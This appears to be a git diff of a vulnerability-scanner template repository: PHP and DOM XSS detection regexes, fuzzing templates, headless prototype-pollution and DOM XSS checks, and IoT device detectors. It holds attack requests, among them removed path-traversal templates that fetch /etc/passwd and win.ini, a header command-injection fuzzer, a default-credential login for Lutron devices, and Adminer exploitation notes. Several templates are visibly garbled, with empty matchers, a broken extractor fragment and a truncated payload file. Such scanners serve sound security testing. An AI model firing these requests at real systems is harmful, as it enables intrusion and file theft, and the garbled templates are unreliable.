+ - 'and'
+ - type: regex
+ # Avoid the use of the ereg* functions (now deprecated)
+ regex:
+ - 'ereg'
+ - type: regex
+ # Ensure that the second parameter of extract is set to not overwrite (not EXTR_OVERWRITE)
+ regex:
+ - 'extract'
+ - type: regex
+ # Checking output methods (echo, print, printf, print_r, vprintf, sprintf) that use variables in their options
+ regex:
+ - 'echo'
+ - 'print'
+ - 'printf'
+ - 'print_r'
+ - 'vprintf'
+ - 'sprintf'
+ condition: or
+ - type: regex
+ # Ensuring you're not using echo with file_get_contents
+ regex:
+ - 'file_get_contents'
+ - type: regex
+ # Testing for the system execution functions and shell exec (backticks)
+ regex:
+ - '\\`'
+ - type: regex
+ # Use of readfile, readlink and readgzfile
+ regex:
+ - 'readfile'
+ - 'readlink'
+ - 'readgzfile'
+ - type: regex
+ # Using parse_str or mb_parse_str (writes values to the local scope)
+ regex:
+ - 'parse_st'
+ - 'mb_parse_str'
+ - type: regex
+ # Using session_regenerate_id either without a parameter or using false
+ regex:
+ - 'session_regenerate'
+ - type: regex
+ # Avoid use of $_REQUEST (know where your data is coming from)
+ regex:
+ - '\\$_REQUEST'
+ - type: regex
+ # Don't use mysql_real_escape_string
+ regex:
+ - 'mysql_real_escape_string'
+ - type: regex
+ # Avoiding use of import_request_variables
+ regex:
+ - 'import_request_variables'
+ - type: regex
+ # Avoid use of $GLOBALS
+ regex:
+ - '\\$GLOBALS'
+ - type: regex
+ regex:
+ - '\\$_GET'
+ - type: regex
+ regex:
+ - '\\$_POST'
+ - type: regex
+ # Ensure the use of type checking validating against booleans (===)
+ regex:
+ - '\\=\\=\\='
+ - type: regex
+ # Ensure that the /e modifier isn't used in regular expressions (execute)
+ regex:
+ - '\\/e'
+ - type: regex
+ # Using concatenation in header() calls
+ regex:
+ - 'header'
+ - type: regex
+ # Avoiding the use of $http_raw_post_data
+ regex:
+ - '\\$http_raw_post_data'
diff --git a/file/xss/dom-xss.yaml b/file/xss/dom-xss.yaml
new file mode 100644
index 0000000000..ed65126d4c
--- /dev/null
+++ b/file/xss/dom-xss.yaml
@@ -0,0 +1,46 @@
+id: dom-xss
+
+info:
+ name: DOM XSS Sources & Sinks
+ reference: Inspired by https://portswigger.net/blog/introducing-dom-invader
+ # The existence of a sink or source does not by itself indicate a vulnerability. Due diligence must be performed on the results before opening a bug report.
+ author: geeknik
+ severity: info
+ tags: xss,file
+
+file:
+ - extensions:
+ - js
+ - ts
+ - html
+ - php
+ - cs
+ - rb
+ - py
+
+ extractors:
+ - type: regex
+ name: sink
+ part: body
+ regex:
+ - 'jQuery(\.globalEval|\.\$|\.constructor|\.parseHTML|\.has|\.init|\.index|\.add|\.append|\.appendTo|\.after|\.insertAfter|\.before|\.insertBefore|\.html|\.prepend|\.prependTo|\.replaceWith|\.replaceAll|\.wrap|\.wrapALL|\.wrapInner|\.prop\.innerHTML|\.prop\.outerHTML|\.attr\.onclick|\.attr\.onmouseover|\.attr.onmousedown|\.attr\.onmouseup|\.attr\.onkeydown|\.attr\.onkeypress|\.attr\.onkeyup|\.attr\.href|\.attr\.src|\.attr\.data|\.attr\.action|\.attr\.formaction|\.prop\.href|\.prop\.src|\.prop\.data|\.prop\.action|\.prop\.formaction)'
+ - 'eval|Function|execScript|msSetImmediate|fetch(\.body)?|form\.action|websocket|RegExp|javascriptURL|createContextualFragment|webdatabase\.executeSql|JSON\.parse'
+ - 'fetch(\.body)?'
+ - 'history(\.pushState|\.replaceState)'
+ - '(session|local)Storage(\.setItem(\.name|\.value))'
+ - 'anchor(\.href|\.target)'
+ - 'button(\.formaction|\.value)'
+ - 'set(Timeout|Interval|Immediate)'
+ - 'script(\.src|\.textContent|\.innerText|\.innerHTML|\.appendChild|\.append)'
+ - 'document(\.write|\.writeln|\.implementation\.createHTMLDocument|\.domain|\.cookie|\.evaluate)'
+ - 'element(\.outerText|\.innerText|\.textContent|\.style\.cssText|\.innerHTML|\.outerHTML|\.insertAdjacentHTML|\.setAttribute(\.onclick|\.onmouseover|\.onmousedown|\.onmouseup|\.onkeydown|\.onkeypress|\.onkeyup|\.href|\.src|\.data|\.action|\.formaction))'
+ - 'location(\.href|\.replace|\.assign|\.pathname|\.protocol|\.host|\.hostname|\.hash|\.search)?'
+ - 'iframe(\.srcdoc|\.src)'
+ - 'xhr(\.open|\.send|\.setRequestHeader(\.name|\.value)?)'
+ - type: regex
+ name: source
+ part: body
+ regex:
+ - 'location(\.href|\.hash|\.search|\.pathname)?'
+ - 'window\.name'
+ - 'document(\.URL|\.referrer|\.documentURI|\.baseURI|\.cookie)'
diff --git a/fuzzing/adminer-panel-fuzz.yaml b/fuzzing/adminer-panel-fuzz.yaml
new file mode 100644
index 0000000000..df0060a22f
--- /dev/null
+++ b/fuzzing/adminer-panel-fuzz.yaml
@@ -0,0 +1,47 @@
+id: adminer-panel-fuzz
+info:
+ name: Adminer Login Panel Fuzz
+ author: random_robbie,meme-lord
+ severity: info
+ reference: https://blog.sorcery.ie/posts/adminer/
+ tags: fuzz,adminer
+
+ # <= 4.2.4 can have unauthenticated RCE via SQLite driver
+ # <= 4.6.2 can have LFI via MySQL LOAD DATA LOCAL
+ # Most versions have some kind of SSRF usability
+ # Is generally handy if you find SQL creds
+
+requests:
+
+ - payloads:
+ path: helpers/wordlists/adminer-paths.txt
+
+ attack: sniper
+ threads: 50
+
+ raw:
+ - |
+ GET {{path}} HTTP/1.1
+ Host: {{Hostname}}
+ Accept: application/json, text/plain, */*
+ Accept-Language: en-US,en;q=0.5
+ Referer: {{BaseURL}}
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ words:
+ - "- Adminer"
+ - "partial(verifyVersion, "
+ condition: and
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ group: 1
+ regex:
+ - '([0-9.]+)'
diff --git a/fuzzing/arbitrary-file-read.yaml b/fuzzing/arbitrary-file-read.yaml
deleted file mode 100644
index e1fb95913b..0000000000
--- a/fuzzing/arbitrary-file-read.yaml
+++ /dev/null
@@ -1,29 +0,0 @@
-id: arbitrary-file-read
-
-info:
- name: Arbitrary File Read
- author: Sushant Kamble (https://in.linkedin.com/in/sushantkamble)
- severity: high
- description: Searches for /etc/passwd on passed URLs.
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
- - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
- - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
- - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
-
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
- - type: regex
- regex:
- - "root:[x*]:0:0:"
- - "\\[(font|extension|file)s\\]"
- condition: or
- part: body
\ No newline at end of file
diff --git a/fuzzing/directory-traversal.yaml b/fuzzing/directory-traversal.yaml
deleted file mode 100644
index df2f9d7d23..0000000000
--- a/fuzzing/directory-traversal.yaml
+++ /dev/null
@@ -1,35 +0,0 @@
-id: directory-traversal
-
-info:
- name: Generic Directory Traversal
- author: pentest_swissky
- severity: high
- description: Detect basic directory traversal leading to a leak of sensitive files.
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
- - "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
- - type: regex
- regex:
- - "root:[x*]:0:0:"
- part: body
diff --git a/fuzzing/header-command-injection.yaml b/fuzzing/header-command-injection.yaml
new file mode 100644
index 0000000000..de1e04b0e9
--- /dev/null
+++ b/fuzzing/header-command-injection.yaml
@@ -0,0 +1,36 @@
+id: header-command-injection
+
+info:
+ name: Header Command Injection
+ author: geeknik
+ severity: high
+ description: Fuzzing headers for command injection
+ tags: fuzz,rce
+
+requests:
+ - payloads:
+ header: helpers/payloads/request-headers.txt
+ payload: helpers/payloads/command-injection.txt
+
+ raw:
+ - |
+ GET /?§header§ HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+ §header§: §payload§
+ Connection: close
+
+ attack: clusterbomb
+ redirects: true
+ matchers-condition: or
+ matchers:
+ - type: word
+ words:
+ - "uid="
+ - "gid="
+ - "groups="
+ condition: and
+
+ - type: regex
+ regex:
+ - "root:.*:0:0:"
diff --git a/fuzzing/iis-shortname.yaml b/fuzzing/iis-shortname.yaml
index 92c0ff9be2..0392a42acc 100644
--- a/fuzzing/iis-shortname.yaml
+++ b/fuzzing/iis-shortname.yaml
@@ -4,23 +4,52 @@ info:
author: nodauf
severity: info
description: If IIS use old .Net Framwork it's possible to enumeration folder with the symbol ~.
+ tags: fuzz
- # References:
- # - https://github.com/lijiejie/IIS_shortname_Scanner
- # - https://www.exploit-db.com/exploits/19525
+ reference: |
+ - https://github.com/lijiejie/IIS_shortname_Scanner
+ - https://www.exploit-db.com/exploits/19525
requests:
- - method: GET
- path:
- - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
- - "{{BaseURL}}/*~1*/a.aspx'"
- - method: OPTIONS
- path:
- - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
- - "{{BaseURL}}/*~1*/a.aspx'"
+ - raw:
+ - |
+ GET /N0t4xist*~1*/a.aspx HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{BaseURL}}
+ Connection: close
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+ Accept-Language: en-US,en;q=0.9
+ - |
+ GET /*~1*/a.aspx' HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{BaseURL}}
+ Connection: close
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+ Accept-Language: en-US,en;q=0.9
+
+ - |
+ OPTIONS /N0t4xist*~1*/a.aspx HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{BaseURL}}
+ Connection: close
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+ Accept-Language: en-US,en;q=0.9
+
+ - |
+ OPTIONS /*~1*/a.aspx' HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{BaseURL}}
+ Connection: close
+ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+ Accept-Language: en-US,en;q=0.9
+
+ req-condition: true
matchers:
- type: dsl
- name: iis-scan
dsl:
- "status_code_1!=404 && status_code_2 == 404 || status_code_3 != 404 && status_code_4 == 404"
diff --git a/fuzzing/mdb-database-file.yaml b/fuzzing/mdb-database-file.yaml
new file mode 100644
index 0000000000..d5406502f5
--- /dev/null
+++ b/fuzzing/mdb-database-file.yaml
@@ -0,0 +1,40 @@
+id: mdb-database-file
+
+info:
+ name: MDB database file leakage
+ author: pdteam
+ severity: medium
+ tags: fuzz,mdb,asp
+ reference: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.5-Testing_for_MS_Access.html
+
+requests:
+ - payloads:
+ mdbPaths: helpers/wordlists/mdb-paths.txt
+
+ attack: sniper
+ threads: 50
+
+ raw:
+ - |
+ GET {{mdbPaths}} HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{BaseURL}}
+ Accept-Language: en-US,en;q=0.9
+ Connection: close
+
+ max-size: 500 # Size in bytes - Max Size to read from server response
+ matchers-condition: and
+ matchers:
+ - type: binary
+ binary:
+ - "000100005374616E64617264204A657420444200" # mdb
+ part: body
+
+ - type: word
+ words:
+ - "application/x-msaccess"
+ part: header
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/fuzzing/prestashop-module-fuzz.yaml b/fuzzing/prestashop-module-fuzz.yaml
new file mode 100644
index 0000000000..434b666a00
--- /dev/null
+++ b/fuzzing/prestashop-module-fuzz.yaml
@@ -0,0 +1,44 @@
+id: prestashop-module-fuzz
+info:
+ name: Prestashop Modules Enumeration
+ author: meme-lord
+ severity: info
+ tags: fuzz,prestashop
+
+requests:
+
+ - payloads:
+ path: helpers/wordlists/prestashop-modules.txt
+
+ attack: sniper
+ threads: 50
+
+ raw:
+ - |
+ GET /modules/{{path}}/config.xml HTTP/1.1
+ Host: {{Hostname}}
+ Accept: application/json, text/plain, */*
+ Accept-Language: en-US,en;q=0.5
+ Referer: {{BaseURL}}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ""
+ - ""
+ - ""
+ - ""
+ - " "
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ group: 2
+ regex:
+ - '( i.src || i.href || i.url || i.action))].join('\r\n') + '\n'
+ extractors:
+ - type: kval
+ part: extract
+ kval:
+ - extract
diff --git a/headless/postmessage-tracker.yaml b/headless/postmessage-tracker.yaml
new file mode 100644
index 0000000000..e57ca76fa2
--- /dev/null
+++ b/headless/postmessage-tracker.yaml
@@ -0,0 +1,65 @@
+id: postmessage-tracker
+
+info:
+ name: Postmessage Tracker
+ author: pdteam
+ severity: info
+ reference: https://github.com/vinothsparrow/iframe-broker/blob/main/static/script.js
+ tags: headless,postmessage
+
+headless:
+ - steps:
+ - action: setheader
+ args:
+ part: response
+ key: Content-Security-Policy
+ value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
+ - action: script
+ args:
+ hook: true
+ code: |
+ (function() {window.alerts = [];
+
+ function logger(found) {
+ window.alerts.push(found);
+ }
+
+ function getStackTrace () {
+ var stack;
+ try {
+ throw new Error('');
+ }
+ catch (error) {
+ stack = error.stack || '';
+ }
+ stack = stack.split('\n').map(function (line) { return line.trim(); });
+ return stack.splice(stack[0] == 'Error' ? 2 : 1);
+ }
+
+ var oldListener = Window.prototype.addEventListener;
+
+ Window.prototype.addEventListener = function(type, listener, useCapture) {
+ if(type === 'message') {
+ logger(getStackTrace());
+ }
+ return oldListener.apply(this, arguments);
+ };
+ })();
+ - args:
+ url: "{{BaseURL}}"
+ action: navigate
+ - action: waitload
+ - action: script
+ name: alerts
+ args:
+ code: "window.alerts"
+ matchers:
+ - type: word
+ part: alerts
+ words:
+ - "at Window.addEventListener"
+ extractors:
+ - type: kval
+ part: alerts
+ kval:
+ - alerts
diff --git a/headless/prototype-pollution-check.yaml b/headless/prototype-pollution-check.yaml
new file mode 100644
index 0000000000..1e0d7ae586
--- /dev/null
+++ b/headless/prototype-pollution-check.yaml
@@ -0,0 +1,96 @@
+id: prototype-pollution-check
+
+info:
+ name: Prototype Pollution Check
+ author: pdteam
+ severity: medium
+ reference: https://github.com/msrkp/PPScan
+ tags: headless
+
+headless:
+ - steps:
+ - action: setheader
+ args:
+ part: response
+ key: Content-Security-Policy
+ value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
+ - action: setheader
+ args:
+ part: response
+ key: X-Frame-Options
+ value: foo
+ - action: setheader
+ args:
+ part: response
+ key: If-None-Match
+ value: foo
+ - action: script
+ args:
+ hook: true
+ code: |
+ // Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
+ (function() {window.alerts = [];
+
+ function logger(found) {
+ window.alerts.push(found);
+ }
+
+ function check() {
+ loc = location.href;
+
+ if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
+ setTimeout(function() {
+ if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
+ logger(location.href);
+ }
+ var url = new URL(location.origin + location.pathname);
+ url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
+ location = url.href;
+ }, 5 * 1000);
+ } else if (loc.search("a0def12bce") != -1) {
+ setTimeout(function() {
+ if (Object.prototype.a0def12bce == "ddcb362f1d60") {
+ logger(location.href);
+ }
+ window.close();
+ }, 5 * 1000);
+ } else {
+ var url = new URL(loc);
+ url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
+ url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
+ location = url.href;
+ }
+ }
+
+ window.onload = function() {
+ if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
+ logger(location.href);
+ } else {
+ check();
+ }
+ };
+
+ var timerID = setInterval(function() {
+ if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
+ logger(location.href);
+ clearInterval(timerID);
+ }
+ }, 5 * 1000)})();
+ - args:
+ url: "{{BaseURL}}"
+ action: navigate
+ - action: waitload
+ - action: script
+ name: alerts
+ args:
+ code: "window.alerts"
+ matchers:
+ - type: word
+ part: alerts
+ words:
+ - "__proto__"
+ extractors:
+ - type: kval
+ part: alerts
+ kval:
+ - alerts
diff --git a/headless/window-name-domxss.yaml b/headless/window-name-domxss.yaml
new file mode 100644
index 0000000000..98bbe26a84
--- /dev/null
+++ b/headless/window-name-domxss.yaml
@@ -0,0 +1,81 @@
+id: window-name-domxss
+
+info:
+ name: window.name DOM XSS
+ author: pdteam
+ severity: medium
+ reference: https://public-firing-range.appspot.com/dom/index.html
+ tags: headless,xss,domxss
+
+headless:
+ - steps:
+ - action: setheader
+ args:
+ part: response
+ key: Content-Security-Policy
+ value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
+ - action: script
+ args:
+ hook: true
+ code: |
+ (function() {window.alerts = [];
+
+ function logger(found) {
+ window.alerts.push(found);
+ }
+
+ function getStackTrace () {
+ var stack;
+ try {
+ throw new Error('');
+ }
+ catch (error) {
+ stack = error.stack || '';
+ }
+ stack = stack.split('\n').map(function (line) { return line.trim(); });
+ return stack.splice(stack[0] == 'Error' ? 2 : 1);
+ }
+ window.name = "{{randstr_1}}'\"<>";
+
+ var oldEval = eval;
+ var oldDocumentWrite = document.write;
+ var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
+ Object.defineProperty(Element.prototype, 'innerHTML', {
+ set: function innerHTML_Setter(val) {
+ if (val.includes("{{randstr_1}}'\"<>")) {
+ logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
+ }
+ return setter.call(this, val)
+ }
+ });
+ eval = function(data) {
+ if (data.includes("{{randstr_1}}'\"<>")) {
+ logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
+ }
+ return oldEval.apply(this, arguments);
+ };
+ document.write = function(data) {
+ if (data.includes("{{randstr_1}}'\"<>")) {
+ logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
+ }
+ return oldEval.apply(this, arguments);
+ };
+ })();
+ - args:
+ url: "{{BaseURL}}"
+ action: navigate
+ - action: waitload
+ - action: script
+ name: alerts
+ args:
+ code: "window.alerts"
+ matchers:
+ - type: word
+ part: alerts
+ words:
+ - "sink:"
+ extractors:
+ - type: kval
+ part: alerts
+ kval:
+ - alerts
diff --git a/helpers/payloads/CVE-2020-6287.xml b/helpers/payloads/CVE-2020-6287.xml
deleted file mode 100644
index b99213bc4e..0000000000
--- a/helpers/payloads/CVE-2020-6287.xml
+++ /dev/null
@@ -1 +0,0 @@
-java projectdiscover proj3ctD1$c0v3ry ContaCam '
+ part: body
+ - type: status
+ status:
+ - 200
diff --git a/iot/epmp-login.yaml b/iot/epmp-login.yaml
new file mode 100644
index 0000000000..ec48e002aa
--- /dev/null
+++ b/iot/epmp-login.yaml
@@ -0,0 +1,22 @@
+id: epmp-login
+
+info:
+ name: ePMP 2000 Login
+ author: dhiyaneshDk
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6826
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'ePMP '
+ part: body
+ - type: status
+ status:
+ - 200
diff --git a/iot/epson-wf-series.yaml b/iot/epson-wf-series.yaml
new file mode 100644
index 0000000000..7dbf211998
--- /dev/null
+++ b/iot/epson-wf-series.yaml
@@ -0,0 +1,23 @@
+id: epson-wf-series
+
+info:
+ name: Epson WF Series Detection
+ author: aashiq
+ severity: info
+ description: Searches for Epson WF series printers on the domain
+ tags: iot,printer
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/PRESENTATION/HTML/TOP/PRTINFO.HTML"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "SEIKO EPSON"
\ No newline at end of file
diff --git a/iot/hp-device-info-detect.yaml b/iot/hp-device-info-detect.yaml
new file mode 100644
index 0000000000..f308cd0a9c
--- /dev/null
+++ b/iot/hp-device-info-detect.yaml
@@ -0,0 +1,22 @@
+id: hp-device-info-detect
+info:
+ name: HP LaserJet
+ author: pussycat0x
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/6905
+ tags: iot,hp
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/hp/device/DeviceInformation/View"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Device Information"
+ - "hp"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/iot/hp-laserjet-detect.yaml b/iot/hp-laserjet-detect.yaml
new file mode 100644
index 0000000000..6fe872910f
--- /dev/null
+++ b/iot/hp-laserjet-detect.yaml
@@ -0,0 +1,22 @@
+id: hp-laserjet-detect
+
+info:
+ name: HP LaserJet
+ author: dhiyaneshDk
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/6459
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/SSI/index.htm"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'HP LaserJet Professional'
+ part: body
+ - type: status
+ status:
+ - 200
diff --git a/iot/internet-service.yaml b/iot/internet-service.yaml
new file mode 100644
index 0000000000..25a97192ed
--- /dev/null
+++ b/iot/internet-service.yaml
@@ -0,0 +1,22 @@
+id: internet-service
+
+info:
+ name: Internet Services
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/5948
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/default.htm'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Internet Services '
+ - type: status
+ status:
+ - 200
diff --git a/iot/kevinlab-device-detect.yaml b/iot/kevinlab-device-detect.yaml
new file mode 100644
index 0000000000..2f33447a4c
--- /dev/null
+++ b/iot/kevinlab-device-detect.yaml
@@ -0,0 +1,30 @@
+id: kevinlab-device-detect
+
+info:
+ name: KevinLAB Devices Detection
+ description: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy management platform. KevinLAB's BEMS (Building Energy Management System) enables efficient energy management in buildings. It improves the efficient of energy use by collecting and analyzing various information of energy usage and facilities in the building. It also manages energy usage, facility efficiency and indoor environment control.
+ author: gy741
+ severity: info
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/pages/"
+ - "{{BaseURL}}/dashboard/"
+
+ matchers-condition: or
+ matchers:
+ - type: word
+ words:
+ - 'BEMS '
+ - '../http/index.php'
+ part: body
+ condition: and
+
+ - type: word
+ words:
+ - 'HEMS '
+ - '../dashboard/proc.php'
+ part: body
+ condition: and
diff --git a/iot/liveview-axis-camera.yaml b/iot/liveview-axis-camera.yaml
new file mode 100644
index 0000000000..0ef8d9c0b5
--- /dev/null
+++ b/iot/liveview-axis-camera.yaml
@@ -0,0 +1,21 @@
+id: liveview-axis-camera
+
+info:
+ name: Live view AXIS Network Camera
+ author: dhiyaneshDK
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6843
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/view/viewer_index.shtml'
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Live view - AXIS'
+ - type: status
+ status:
+ - 200
diff --git a/iot/lutron-iot-default-login.yaml b/iot/lutron-iot-default-login.yaml
new file mode 100644
index 0000000000..8162cb26c0
--- /dev/null
+++ b/iot/lutron-iot-default-login.yaml
@@ -0,0 +1,31 @@
+id: lutron-iot-default-login
+
+info:
+ name: Lutron IOT Device Default Login
+ reference: https://www.lutron.com
+ author: geeknik
+ severity: high
+ tags: iot,default-login,lutron
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/login?login=lutron&password=lutron"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "LUTRON "
+ - ">DeviceIP"
+ - ">Get Database Info as XML"
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+
+ - type: status
+ status:
+ - 200
diff --git a/iot/mobotix-guest-camera.yaml b/iot/mobotix-guest-camera.yaml
new file mode 100644
index 0000000000..c1948d9506
--- /dev/null
+++ b/iot/mobotix-guest-camera.yaml
@@ -0,0 +1,21 @@
+id: mobotix-guest-camera
+
+info:
+ name: MOBOTIX Guest Camera
+ author: dhiyaneshDK
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6848
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/cgi-bin/guestimage.html'
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'MOBOTIX'
+ - type: status
+ status:
+ - 200
diff --git a/exposed-panels/network-camera-detect.yaml b/iot/network-camera-detect.yaml
similarity index 96%
rename from exposed-panels/network-camera-detect.yaml
rename to iot/network-camera-detect.yaml
index 3f0335c7e2..a2ea2b37c8 100644
--- a/exposed-panels/network-camera-detect.yaml
+++ b/iot/network-camera-detect.yaml
@@ -4,6 +4,7 @@ info:
name: Various Online Devices Detection (Network Camera)
author: iamthefrogy
severity: info
+ tags: iot
requests:
- method: GET
diff --git a/iot/nuuno-network-login.yaml b/iot/nuuno-network-login.yaml
new file mode 100644
index 0000000000..79d1d61f79
--- /dev/null
+++ b/iot/nuuno-network-login.yaml
@@ -0,0 +1,22 @@
+id: nuuno-network-login
+
+info:
+ name: NUUO Network Video Recorder Login
+ author: dhiyaneshDK
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6840
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'NUUO Network Video Recorder Login '
+ - type: status
+ status:
+ - 200
diff --git a/iot/open-mjpg-streamer.yaml b/iot/open-mjpg-streamer.yaml
new file mode 100755
index 0000000000..07826b437c
--- /dev/null
+++ b/iot/open-mjpg-streamer.yaml
@@ -0,0 +1,26 @@
+id: open-mjpg-streamer
+
+info:
+ name: open-mjpg-streamer
+ author: gboddin
+ severity: medium
+ reference: https://github.com/jacksonliam/mjpg-streamer
+ tags: iot,webcam
+ description: Open mjpg-streamer service sharing webcam/camera feed
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/?action=stream"
+
+ max-size: 2048
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'MJPG-Streamer/0.2'
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/iot/panasonic-network-management.yaml b/iot/panasonic-network-management.yaml
new file mode 100644
index 0000000000..c917e12098
--- /dev/null
+++ b/iot/panasonic-network-management.yaml
@@ -0,0 +1,22 @@
+id: panasonic-network-management
+
+info:
+ name: Panasonic Network Camera Management System
+ author: dhiyaneshDk
+ severity: medium
+ reference: https://www.exploit-db.com/ghdb/6487
+ tags: iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/config/cam_portal.cgi"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Panasonic Network Camera Management System '
+ part: body
+ - type: status
+ status:
+ - 200
